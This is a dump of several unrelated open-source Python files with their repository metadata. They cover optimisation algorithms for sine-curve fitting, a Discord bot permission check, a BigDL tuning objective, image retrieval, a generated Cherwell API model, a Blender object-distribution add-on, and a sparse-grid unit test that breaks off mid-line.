nonlinear_data_fitting/demo_nonlinear_data_fitting.py

almostdutch/numerical-optimization-algorithms

cd6c1306cb04eccce62a74420323bda83058c1d6

[ "MIT" ]

null

""" demo_nonlinear_data_fitting.py Fit a model A * sin(W * t + phi) to the data f(X, ti) = yi to find A, W, and phi m = number of data points Solve a system of non-linear equations f(X, ti) - yi = 0: x1 * sin(x2 * t + x3) - y = 0, where X = [x1 = A, x2 = W, x3 = phi].T, t = [t1, t2, ..., tm].T and y = [y1, y2, ..., ym].T Minimize the following objective function: (f(X, t) - y).T @ (f(X, t) - y) Levenberg - Marquardt algorithm General algorithm for any f(X) function. Requires residuals and jacobian. X0 converges to X* for any X0. Naive random walk algorithm General algorithm for any f(X) function. Requires only residuals. X0 converges to X* for any X0. Simulated annealing algorithm General algorithm for any f(X) function. Requires only residuals. X0 converges to X* for any X0. Particle swarm optimization algorithm General algorithm for any f(X) function. Requires only residuals. X0 converges to X* for any X0. """ import numpy as np import matplotlib.pyplot as plt from levenberg_marquardt_algorithm import levenberg_marquardt_algorithm from naive_random_search_algorithm import naive_random_search_algorithm from simulated_annealing_algorithm import simulated_annealing_algorithm from particle_swam_optimization_algorithm import particle_swam_optimization_algorithm from print_report import print_report from plot_progress_y import plot_progress_y import time X = np.array([[0.75], [2.3], [-3]]); t = np.arange(0, 20, 0.1); # Nonlinear model to fit func = lambda X : X[0] * np.sin(X[1] * t + X[2]); # Plot the curve fig = plt.figure(); y = func(X); plt.plot(t, y) plt.show() func_residual = lambda X : (X[0] * np.sin(X[1] * t + X[2]) - y).reshape((t.size, 1)); func_jacobian = lambda X : np.array([[-np.sin(X[1] * t + X[2])], [-t * X[0] * np.cos(X[1] * t + X[2])], [-X[0] * np.cos(X[1] * t + X[2])]]).reshape((t.size, X.size)); # Objective function for naive random walk and simulated annealing algorithms func_error = lambda X : np.linalg.norm((X[0] * np.sin(X[1] * t + X[2]) - y).reshape((t.size, 1)), axis = 0) ** 2; # Objective function for particle swarm optimization algorithm (particles along row dimension, axis = 0) func_error_ps = lambda X : np.linalg.norm(X[:, [0]] * np.sin(X[:, [1]] * t + X[:, [2]]) - y, axis = 1).reshape((-1, 1)) ** 2; # Levenberg-Marquardt algorithm print('***********************************************************************'); print('Levenberg - Marquardt algorithm'); N_iter_max = 1000; tolerance_x = 10e-6; tolerance_y = 10e-8; X_lower = np.array([[0], [0], [-5]]); # X lower bound X_upper = np.array([[2], [5], [0]]); # X upper bound options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower, 'x_upper' : X_upper}; X0 = np.array([[0.1], [1], [-2]]); start = time.time(); X, report = levenberg_marquardt_algorithm(X0, func_residual, func_jacobian, options); end = time.time(); print_report(func_error, report); # Plot path to X* for Y algorithm_name = 'Levenberg - Marquardt algorithm'; plot_progress_y(algorithm_name, report); print('Elapsed time [s]: %0.5f' % (end - start)); print('***********************************************************************\n'); # Naive random walk algorithm print('***********************************************************************'); print('Naive random walk algorithm'); N_iter_max = 1000; tolerance_x = 10e-8; tolerance_y = 10e-8; X_lower = np.array([[0], [0], [-5]]); # X lower bound X_upper = np.array([[2], [5], [0]]); # X upper bound alpha = 0.5; # step size options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower, 'x_upper' : X_upper, 'alpha' : alpha}; X0 = np.array([[0.1], [1], [-2]]); # X0 = X_lower + (X_upper - X_lower) * np.random.rand(X_lower.size, 1); start = time.time(); X, report = naive_random_search_algorithm(X0, func_error, options); end = time.time(); print_report(func_error, report); # Plot path to X* for Y algorithm_name = 'Naive random walk algorithm'; plot_progress_y(algorithm_name, report); print('Elapsed time [s]: %0.5f' % (end - start)); print('***********************************************************************\n'); # Simulated annealing algorithm print('***********************************************************************'); print('Simulated annealing algorithm'); N_iter_max = 1000; tolerance_x = 10e-8; tolerance_y = 10e-8; X_lower = np.array([[0], [0], [-5]]); # X lower bound X_upper = np.array([[2], [5], [0]]); # X upper bound alpha = 1.0; # step size gamma = 1.5; # controls temperature decay, gamma > 0 options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower, 'x_upper' : X_upper, 'alpha' : alpha, 'gamma' : gamma}; X0 = np.array([[0.1], [1], [-2]]); # X0 = X_lower + (X_upper - X_lower) * np.random.rand(X_lower.size, 1); start = time.time(); X, report = simulated_annealing_algorithm(X0, func_error, options); end = time.time(); print_report(func_error, report); # Plot path to X* for Y algorithm_name = 'Simulated annealing algorithm'; plot_progress_y(algorithm_name, report); print('Elapsed time [s]: %0.5f' % (end - start)); print('***********************************************************************\n'); # Particle swarm optimization algorithm print('***********************************************************************'); print('Particle swarm optimization algorithm'); N_iter_max = 1000; tolerance_x = 10e-8; tolerance_y = 10e-8; X_lower = np.array([[0], [0], [-5]]); # X lower bound X_upper = np.array([[2], [5], [0]]); # X upper bound d_lower = -1; # direction (aka velocity) lower bound d_upper = 1; # direction (aka velocity) upper bound N_ps = 10000; # number of particles w = 0.9; # inertial constant, w < 1 c1 = 1.5; # cognitive/independent component, c1 ~ 2 c2 = 1.5; # social component, c2 ~ 2 alpha = 1; # step size options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower, 'x_upper' : X_upper, 'alpha' : alpha, 'd_lower' : d_lower, 'd_upper' : d_upper, 'N_ps' : N_ps, 'w' : w, 'c1' : c1, 'c2' : c2}; start = time.time(); X, report = particle_swam_optimization_algorithm(func_error_ps, options); end = time.time(); print_report(func_error, report); # Plot path to X* for Y algorithm_name = 'Particle swarm optimization algorithm'; plot_progress_y(algorithm_name, report); print('Elapsed time [s]: %0.5f' % (end - start)); print('***********************************************************************\n');

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null

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99192fe19d128cae27dbb4d9d6db56cd2b6e1efe

2,885

py

Python

libneko/checks.py

Natsurii/b00t

09fac50434fd6692d6f1a07e8c8f4a5df20ce9d4

[ "MIT" ]

1

2018-09-22T23:58:55.000Z

libneko/checks.py

Natsurii/b00t

09fac50434fd6692d6f1a07e8c8f4a5df20ce9d4

[ "MIT" ]

null

libneko/checks.py

Natsurii/b00t

09fac50434fd6692d6f1a07e8c8f4a5df20ce9d4

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # MIT License # # Copyright (c) 2018-2019 Nekoka.tt # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in a$ # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """ Custom checks you can use with commands. Note: This is designed to be used as a replacement for any checks in :mod:`discord.ext.commands.core`. Author: Espy/Neko404NotFound """ __all__ = ( "NotGuildOwner", "is_guild_owner", "check", "is_owner", "bot_has_role", "bot_has_any_role", "bot_has_permissions", "guild_only", "is_nsfw", "cooldown", "has_any_role", "has_role", "has_permissions", "BucketType", ) from discord.ext import commands as _commands from discord.ext.commands import ( bot_has_role, guild_only, cooldown, has_any_role, has_role, ) from discord.ext.commands import ( check, is_owner, is_nsfw, bot_has_any_role, bot_has_permissions, ) from discord.ext.commands import has_permissions, BucketType class NotGuildOwner(_commands.CheckFailure): """ Raised if a command decorated with the ``@is_guild_owner()`` check is invoked by someone other than the guild owner. """ def __init__(self): super().__init__( "You are not the server owner, so you cannot run this command." ) def is_guild_owner(): """ A check returning true if the guild owner invoked the command, and we are in a guild. If we are not in a guild, we return False to fail the check. If we are not the guild owner, and one exists, we raise ``NotGuildOwner`` to show a custom error message. """ def decorator(ctx): if not ctx.guild: return False elif not ( ctx.guild.owner.id == ctx.author.id or ctx.author.id == ctx.bot.owner_id ): raise NotGuildOwner return True return check(decorator)

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null

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1

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991a025602e05e7286a371a273b532009c3af8bd

3,379

py

Python

python/nano/src/bigdl/nano/automl/tf/objective.py

pinggao187/BigDL

3d673458f267746b54dfd0146bdb022b3acb2d89

[ "Apache-2.0" ]

null

python/nano/src/bigdl/nano/automl/tf/objective.py

pinggao187/BigDL

3d673458f267746b54dfd0146bdb022b3acb2d89

[ "Apache-2.0" ]

null

python/nano/src/bigdl/nano/automl/tf/objective.py

pinggao187/BigDL

3d673458f267746b54dfd0146bdb022b3acb2d89

[ "Apache-2.0" ]

null

# # Copyright 2016 The BigDL Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from tensorflow.keras.backend import clear_session from tensorflow.keras.models import clone_model import tensorflow as tf import inspect import copy from optuna.integration import TFKerasPruningCallback def is_creator(model): return inspect.ismethod(model) or inspect.isfunction(model) class Objective(object): """The Tuning objective for Optuna""" def __init__(self, model=None, target_metric=None, pruning=False, **kwargs, ): """Init the objective. Args: model (keras model or function): a model instance or creator function. Defaults to None. model_compiler (function, optional): the compiler function. Defaults to None. target_metric (str, optional): target metric to optimize. Defaults to None. Raises: ValueError: _description_ """ if not is_creator(model) and not isinstance(model, tf.keras.Model): raise ValueError("You should either pass a Tensorflo Keras model, or \ a model_creator to the Tuning objective.") self.model_ = model self.target_metric_ = target_metric self.pruning = pruning self.kwargs = kwargs @property def target_metric(self): return self.target_metric_ def prepare_fit_args(self, trial): # only do shallow copy and process/duplicate # specific args TODO: may need to handle more cases new_kwargs = copy.copy(self.kwargs) new_kwargs['verbose'] = 2 callbacks = new_kwargs.get('callbacks', None) callbacks = callbacks() if inspect.isfunction(callbacks) else callbacks if self.pruning: callbacks = callbacks or [] prune_callback = TFKerasPruningCallback(trial, self.target_metric) callbacks.append(prune_callback) new_kwargs['callbacks'] = callbacks return new_kwargs def __call__(self, trial): # Clear clutter from previous Keras session graphs. clear_session() # TODO may add data creator here, e.g. refresh data, reset generators, etc. # create model if is_creator(self.model_): model = self.model_(trial) else: # copy model so that the original model is not changed # Need tests to check this path model = clone_model(self.model_) # fit new_kwargs = self.prepare_fit_args(trial) hist = model.fit(**new_kwargs) score = hist.history.get(self.target_metric, None) if score is not None: if isinstance(score, list): # score = score[-1] score = max(score) return score

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5.180049

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991a268e1607c44fc5fec2b754da258201620b92

4,247

py

Python

tensorflow_toolkit/image_retrieval/image_retrieval/image_retrieval.py

morkovka1337/openvino_training_extensions

846db45c264d6b061505213f51763520b9432ba9

[ "Apache-2.0" ]

256

2020-09-09T03:27:57.000Z

2022-03-30T10:06:06.000Z

tensorflow_toolkit/image_retrieval/image_retrieval/image_retrieval.py

morkovka1337/openvino_training_extensions

846db45c264d6b061505213f51763520b9432ba9

[ "Apache-2.0" ]

604

2020-09-08T12:29:49.000Z

2022-03-31T21:51:08.000Z

tensorflow_toolkit/image_retrieval/image_retrieval/image_retrieval.py

morkovka1337/openvino_training_extensions

846db45c264d6b061505213f51763520b9432ba9

[ "Apache-2.0" ]

160

2020-09-09T14:06:07.000Z

2022-03-30T14:50:48.000Z

""" Copyright (c) 2019 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from tqdm import tqdm import numpy as np import cv2 from sklearn.metrics.pairwise import cosine_distances from image_retrieval.common import from_list, preproces_image def nothing(image): return image class ImageRetrieval: def __init__(self, model_path, model_backend, model, gallery_path, input_size, cpu_extensions, multiple_images_per_label=False): self.impaths, self.gallery_classes, _, self.text_label_to_class_id = from_list( gallery_path, multiple_images_per_label) self.input_size = input_size self.preprocess = preproces_image if model is None or isinstance(model, str): if model_backend == 'tf': import tensorflow as tf from image_retrieval.model import keras_applications_mobilenetv2, \ keras_applications_resnet50 if model == 'resnet50': self.model = keras_applications_resnet50( tf.keras.layers.Input(shape=(input_size, input_size, 3))) if model == 'mobilenet_v2': self.model = keras_applications_mobilenetv2( tf.keras.layers.Input(shape=(input_size, input_size, 3))) self.model.load_weights(model_path) else: from openvino.inference_engine import IENetwork, IECore class IEModel(): def __init__(self, model_path): ie = IECore() if cpu_extensions: ie.add_extension(cpu_extensions, 'CPU') path = '.'.join(model_path.split('.')[:-1]) self.net = IENetwork(model=path + '.xml', weights=path + '.bin') self.exec_net = ie.load_network(network=self.net, device_name='CPU') def predict(self, image): assert len(image.shape) == 4 image = np.transpose(image, (0, 3, 1, 2)) out = self.exec_net.infer(inputs={'Placeholder': image})[ 'model/tf_op_layer_mul/mul/Normalize'] return out self.model = IEModel(model_path) self.preprocess = nothing else: self.model = model self.embeddings = self.compute_gallery_embeddings() def compute_embedding(self, image): image = cv2.resize(image, (self.input_size, self.input_size)) image = self.preprocess(image) image = np.expand_dims(image, axis=0) embedding = self.model.predict(image) return embedding def search_in_gallery(self, embedding): distances = cosine_distances(embedding, self.embeddings).reshape([-1]) sorted_indexes = np.argsort(distances) return sorted_indexes, distances def compute_gallery_embeddings(self): images = [] for full_path in tqdm(self.impaths, desc='Reading gallery images.'): image = cv2.imread(full_path) if image is None: print("ERROR: cannot find image, full_path =", full_path) image = cv2.resize(image, (self.input_size, self.input_size)) image = self.preprocess(image) image = np.expand_dims(image, axis=0) images.append(image) embeddings = [None for _ in self.impaths] index = 0 for image in tqdm(images, desc='Computing embeddings of gallery images.'): embeddings[index] = self.model.predict(image).reshape([-1]) index += 1 return embeddings

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null

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null

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1

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991b66a79e8a75a7529bdc08213b2d0422fc5350

6,598

py

Python

pycherwell/models/section_field.py

greenpau/pycherwell

2a25446d5cf86d69e6158067faf27ce250aba966

[ "Apache-2.0" ]

2

2020-04-09T16:41:25.000Z

2020-08-25T21:07:53.000Z

pycherwell/models/section_field.py

greenpau/pycherwell

2a25446d5cf86d69e6158067faf27ce250aba966

[ "Apache-2.0" ]

15

2020-02-12T14:57:30.000Z

2020-11-27T23:34:15.000Z

pycherwell/models/section_field.py

greenpau/pycherwell

2a25446d5cf86d69e6158067faf27ce250aba966

[ "Apache-2.0" ]

2

2020-02-12T14:57:38.000Z

2021-07-30T11:32:28.000Z

# coding: utf-8 """ Cherwell REST API Unofficial Python Cherwell REST API library. # noqa: E501 The version of the OpenAPI document: 9.3.2 Contact: See AUTHORS. Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from pycherwell.configuration import Configuration class SectionField(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'attributes': 'list[object]', 'field_id': 'str', 'field_type': 'str', 'label': 'str', 'multiline': 'bool', 'value': 'str' } attribute_map = { 'attributes': 'attributes', 'field_id': 'fieldId', 'field_type': 'fieldType', 'label': 'label', 'multiline': 'multiline', 'value': 'value' } def __init__(self, attributes=None, field_id=None, field_type=None, label=None, multiline=None, value=None, local_vars_configuration=None): # noqa: E501 """SectionField - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._attributes = None self._field_id = None self._field_type = None self._label = None self._multiline = None self._value = None self.discriminator = None if attributes is not None: self.attributes = attributes if field_id is not None: self.field_id = field_id if field_type is not None: self.field_type = field_type if label is not None: self.label = label if multiline is not None: self.multiline = multiline if value is not None: self.value = value @property def attributes(self): """Gets the attributes of this SectionField. # noqa: E501 :return: The attributes of this SectionField. # noqa: E501 :rtype: list[object] """ return self._attributes @attributes.setter def attributes(self, attributes): """Sets the attributes of this SectionField. :param attributes: The attributes of this SectionField. # noqa: E501 :type: list[object] """ self._attributes = attributes @property def field_id(self): """Gets the field_id of this SectionField. # noqa: E501 :return: The field_id of this SectionField. # noqa: E501 :rtype: str """ return self._field_id @field_id.setter def field_id(self, field_id): """Sets the field_id of this SectionField. :param field_id: The field_id of this SectionField. # noqa: E501 :type: str """ self._field_id = field_id @property def field_type(self): """Gets the field_type of this SectionField. # noqa: E501 :return: The field_type of this SectionField. # noqa: E501 :rtype: str """ return self._field_type @field_type.setter def field_type(self, field_type): """Sets the field_type of this SectionField. :param field_type: The field_type of this SectionField. # noqa: E501 :type: str """ self._field_type = field_type @property def label(self): """Gets the label of this SectionField. # noqa: E501 :return: The label of this SectionField. # noqa: E501 :rtype: str """ return self._label @label.setter def label(self, label): """Sets the label of this SectionField. :param label: The label of this SectionField. # noqa: E501 :type: str """ self._label = label @property def multiline(self): """Gets the multiline of this SectionField. # noqa: E501 :return: The multiline of this SectionField. # noqa: E501 :rtype: bool """ return self._multiline @multiline.setter def multiline(self, multiline): """Sets the multiline of this SectionField. :param multiline: The multiline of this SectionField. # noqa: E501 :type: bool """ self._multiline = multiline @property def value(self): """Gets the value of this SectionField. # noqa: E501 :return: The value of this SectionField. # noqa: E501 :rtype: str """ return self._value @value.setter def value(self, value): """Sets the value of this SectionField. :param value: The value of this SectionField. # noqa: E501 :type: str """ self._value = value def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, SectionField): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, SectionField): return True return self.to_dict() != other.to_dict()

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py

Python

release/scripts/addons/oscurart_tools/object/distribute.py

noorbeast/BlenderSource

65ebecc5108388965678b04b43463b85f6c69c1d

[ "Naumen", "Condor-1.1", "MS-PL" ]

3

2019-09-16T10:29:19.000Z

2022-02-11T14:43:18.000Z

engine/2.80/scripts/addons/oscurart_tools/object/distribute.py

byteinc/Phasor

f7d23a489c2b4bcc3c1961ac955926484ff8b8d9

[ "Unlicense" ]

null

engine/2.80/scripts/addons/oscurart_tools/object/distribute.py

byteinc/Phasor

f7d23a489c2b4bcc3c1961ac955926484ff8b8d9

[ "Unlicense" ]

null

# ##### BEGIN GPL LICENSE BLOCK ##### # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software Foundation, # Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # # ##### END GPL LICENSE BLOCK ##### # <pep8 compliant> import bpy import os from bpy.types import Operator from bpy.props import BoolProperty def ObjectDistributeOscurart(self, X, Y, Z): if len(bpy.selection_osc[:]) > 1: # VARIABLES dif = bpy.selection_osc[-1].location - bpy.selection_osc[0].location chunkglobal = dif / (len(bpy.selection_osc[:]) - 1) chunkx = 0 chunky = 0 chunkz = 0 deltafst = bpy.selection_osc[0].location # ORDENA for OBJECT in bpy.selection_osc[:]: if X: OBJECT.location.x = deltafst[0] + chunkx if Y: OBJECT.location[1] = deltafst[1] + chunky if Z: OBJECT.location.z = deltafst[2] + chunkz chunkx += chunkglobal[0] chunky += chunkglobal[1] chunkz += chunkglobal[2] else: self.report({'INFO'}, "Needs at least two selected objects") class DistributeOsc(Operator): """Distribute evenly the selected objects in x y z""" bl_idname = "object.distribute_osc" bl_label = "Distribute Objects" Boolx : BoolProperty(name="X") Booly : BoolProperty(name="Y") Boolz : BoolProperty(name="Z") def execute(self, context): ObjectDistributeOscurart(self, self.Boolx, self.Booly, self.Boolz) return {'FINISHED'} def invoke(self, context, event): self.Boolx = True self.Booly = True self.Boolz = True return context.window_manager.invoke_props_dialog(self)

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991f03bbfaaa813ef12bac646842c1f1126bf936

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py

Python

py/tests/test45SpatAdaptiveUP.py

valentjn/thesis

65a0eb7d5f7488aac93882959e81ac6b115a9ea8

[ "CC0-1.0" ]

4

2022-01-15T19:50:36.000Z

2022-01-15T20:16:10.000Z

py/tests/test45SpatAdaptiveUP.py

valentjn/thesis

65a0eb7d5f7488aac93882959e81ac6b115a9ea8

[ "CC0-1.0" ]

null

py/tests/test45SpatAdaptiveUP.py

valentjn/thesis

65a0eb7d5f7488aac93882959e81ac6b115a9ea8

[ "CC0-1.0" ]

null

#!/usr/bin/python3 import functools import multiprocessing import random import unittest import numpy as np import scipy.special import helper.basis import helper.grid import tests.misc class Test45SpatAdaptiveUP(tests.misc.CustomTestCase): @staticmethod def createDataHermiteHierarchization(p): n, d, b = 4, 1, 0 bases = [helper.basis.HierarchicalWeaklyFundamentalSpline(p, nu=nu) for nu in range((p+1)//2)] grid = helper.grid.RegularSparseBoundary(n, d, b) X, L, I = grid.generate() X, L, I = X.flatten(), L.flatten(), I.flatten() K = np.column_stack((L, I)) f = (lambda X: 0.3 + np.sin(2.3*np.pi*(X-0.2))) fX = f(X) return bases, n, X, L, I, K, fX def hermiteHierarchizationCallback(self, fl, y, l, K, bases): p = bases[0].p nodalIl = helper.grid.getNodalIndices(l) Kl = np.array([self.findLevelIndex(K, l, i) for i in nodalIl]) Xl = helper.grid.getCoordinates(l, nodalIl) for q in range((p+1)//2): Yl = np.zeros_like(Xl) for lp in range(l+1): hierIlp = helper.grid.getHierarchicalIndices(lp) for ip in hierIlp: Yl += (y[self.findLevelIndex(K, lp, ip)] * bases[q].evaluate(lp, ip, Xl)) self.assertAlmostEqual(Yl, fl[l][Kl,q]) @staticmethod def findLevelIndex(K, l, i): lp, ip = helper.grid.convertNodalToHierarchical(l, i) return (np.where((K == (lp, ip)).all(axis=1))[0][0]) @staticmethod def dividedDifference(data): # data in the form # [(a, f(a), df(a), ...), (b, f(b), df(b), ...), ...] if len(data) == 1: return data[0][-1] / scipy.special.factorial(len(data[0]) - 2) else: dataLeft = list(data) if len(dataLeft[-1]) > 2: dataLeft[-1] = dataLeft[-1][:-1] else: del dataLeft[-1] dataRight = list(data) if len(dataRight[0]) > 2: dataRight[0] = dataRight[0][:-1] else: del dataRight[0] return ((Test45SpatAdaptiveUP.dividedDifference(dataRight) - Test45SpatAdaptiveUP.dividedDifference(dataLeft)) / (data[-1][0] - data[0][0])) @staticmethod def hermiteInterpolation1D(xx, data, nu=0): # data in the form # [(a, f(a), df(a), ...), (b, f(b), df(b), ...), ...] yy = np.zeros((len(xx), nu+1)) xProduct = [1] + (nu * [0]) curXData = [] curData = [] for dataPoint in data: x = dataPoint[0] curData.append([x]) for k in range(1, len(dataPoint)): curData[-1].append(dataPoint[k]) coeff = Test45SpatAdaptiveUP.dividedDifference(curData) for q in range(nu, -1, -1): yy[:,q] += coeff * xProduct[q] xProduct[q] = (xProduct[q] * (xx - x) + q * (xProduct[q-1] if q > 0 else 0)) return yy @staticmethod def hermiteHierarchization1D(u, n, K, bases, testCallback=None): N = u.shape[0] p = bases[0].p y = np.zeros((N,)) fl = np.zeros((n+1, N, (p+1)//2)) k0 = Test45SpatAdaptiveUP.findLevelIndex(K, 0, 0) k1 = Test45SpatAdaptiveUP.findLevelIndex(K, 0, 1) for i in range(2): k = (k0 if i == 0 else k1) y[k] = u[k] fl[0][k][0] = u[k] if p > 1: fl[0][k][1] = (u[k1] - u[k0]) for l in range(1, n+1): nodalIl = helper.grid.getNodalIndices(l) Kl = np.array([Test45SpatAdaptiveUP.findLevelIndex(K, l, i) for i in nodalIl]) Xl = helper.grid.getCoordinates(l, nodalIl) hierIl = np.array(helper.grid.getHierarchicalIndices(l)) flm1 = np.zeros((len(nodalIl), (p+1)//2)) evenIl = [i for i in nodalIl if i not in hierIl] flm1[evenIl] = fl[l-1][Kl[evenIl]] for i in hierIl: data = [np.hstack((Xl[i-1], flm1[i-1])), np.hstack((Xl[i+1], flm1[i+1]))] flm1[i] = Test45SpatAdaptiveUP.hermiteInterpolation1D( [Xl[i]], data, nu=(p-1)//2) rl = np.zeros_like(nodalIl, dtype=float) rl[hierIl] = u[Kl[hierIl]] - flm1[hierIl][:,0] A = np.zeros((len(hierIl), len(hierIl))) for i in hierIl: A[:,(i-1)//2] = bases[0].evaluate(l, i, Xl[hierIl]) b = rl[hierIl] yl = np.linalg.solve(A, b) y[Kl[hierIl]] = yl for q in range((p+1)//2): rl = np.zeros_like(nodalIl, dtype=float) for i in hierIl: rl += y[Kl[i]] * bases[q].evaluate(l, i, Xl) for i in nodalIl: fl[l][Kl[i]][q] = flm1[i][q] + rl[i] if testCallback is not None: testCallback(fl, y, l, K, bases) return y @staticmethod def iterativeRefinement(u, y0, Linv, Lp): r = u - Linv(y0) y = np.array(y0) for m in range(1000): if np.max(np.abs(r)) < 1e-10: break y += Lp(r) r -= Linv(Lp(r)) return y, r @staticmethod def getChain(l1, i1, l2, i2, T): chain = [(np.array(l1), np.array(i1))] for t in T: lNext, iNext = chain[-1] lNext, iNext = np.array(lNext), np.array(iNext) lNext[t], iNext[t] = l2[t], i2[t] chain.append((lNext, iNext)) if np.all(chain[-1][0] == l2) and np.all(chain[-1][1] == i2): return chain else: return None def testLemmaIterativeRefinementEquivalent(self): # tested in testPropIterativeRefinementSufficient pass def testPropIterativeRefinementSufficient(self): tol = {"rtol" : 1e-3, "atol" : 1e-8} for p in [1, 3, 5, 7]: basisLin1D = helper.basis.HierarchicalBSpline(1) basis1D = helper.basis.HierarchicalBSpline(p) for d in range(1, 5): f = tests.misc.getObjectiveFunction(d) basisLin = (helper.basis.TensorProduct(basisLin1D, d) if d > 1 else basisLin1D) basis = (helper.basis.TensorProduct(basis1D, d) if d > 1 else basis1D) with self.subTest(p=p, d=d): X, L, I = tests.misc.generateSpatiallyAdaptiveSparseGrid( d, 500) fX = f(X) A = tests.misc.computeInterpolationMatrix(basis, X, L, I) aX = np.linalg.solve(A, fX) ALin = tests.misc.computeInterpolationMatrix(basisLin, X, L, I) ALinInv = np.linalg.inv(ALin) Linv = (lambda x: np.dot(A, x)) Lp = (lambda x: np.dot(ALinInv, x)) u = fX y0 = 2 * np.random.random((X.shape[0],)) - 1 y, r = self.iterativeRefinement(u, y0, Linv, Lp) if np.max(np.abs(r)) < 1e-10: self.assertAlmostEqual(y, aX, **tol) else: self.assertNotAlmostEqual(y, aX, **tol) N = X.shape[0] m = 100 power = np.linalg.matrix_power(np.eye(N) - np.dot(A, ALinInv), m) powerNormRoot = np.power(np.linalg.norm(power), 1/m) if powerNormRoot < 1: self.assertAlmostEqual(y, aX, **tol) def testLemmaDualityUnidirectionalPrinciple(self): n, b = 4, 0 hierarchical = True bases = tests.misc.getExampleHierarchicalBases() for basisName, d, basis in bases: f = tests.misc.getObjectiveFunction(d) modified = ("Modified" in basisName) if "ClenshawCurtis" in basisName: distribution = "clenshawCurtis" else: distribution = "uniform" with self.subTest(basis=basisName, d=d): #X, L, I = tests.misc.generateSpatiallyAdaptiveSparseGrid( # d, 500) grid = (helper.grid.RegularSparse(n, d) if modified else helper.grid.RegularSparseBoundary(n, d, b)) X, L, I = grid.generate() if distribution != "uniform": X = helper.grid.getCoordinates(L, I, distribution=distribution) fX = f(X) u = np.array(fX) K = tests.misc.convertToContinuous(L, I) T = np.arange(d) np.random.shuffle(T) L1D = functools.partial(tests.misc.hierarchize1D, basis, distribution, hierarchical) bases1D = (basis.basis1D if d > 1 else [basis]) y = tests.misc.unidirectionalPrinciple(u, K, T, L1D) TRev = T[::-1] LInv1D = functools.partial(tests.misc.hierarchize1D, basis, distribution, hierarchical, mode="dehierarchize") u2 = tests.misc.unidirectionalPrinciple(y, K, TRev, LInv1D) if d == 1: X, L, I = X.flatten(), L.flatten(), I.flatten() A = tests.misc.computeInterpolationMatrix(basis, X, L, I) aX = np.linalg.solve(A, fX) fX2 = np.dot(A, y) try: self.assertAlmostEqual(y, aX, atol=1e-10) upCorrect = True except AssertionError: upCorrect = False try: self.assertAlmostEqual(u2, fX2, atol=1e-10) upInvCorrect = True except AssertionError: upInvCorrect = False if upCorrect: self.assertTrue(upInvCorrect) else: self.assertFalse(upInvCorrect) N = X.shape[0] LI = np.column_stack((L, I)) containsAllChains = True if d == 1: X = np.reshape(X, (N,1)) L = np.reshape(L, (N,1)) I = np.reshape(I, (N,1)) for k1 in range(N): if not containsAllChains: break for k2 in range(N): if not containsAllChains: break if np.abs(A[k2,k1]) > 1e-12: chain = self.getChain(L[k1], I[k1], L[k2], I[k2], 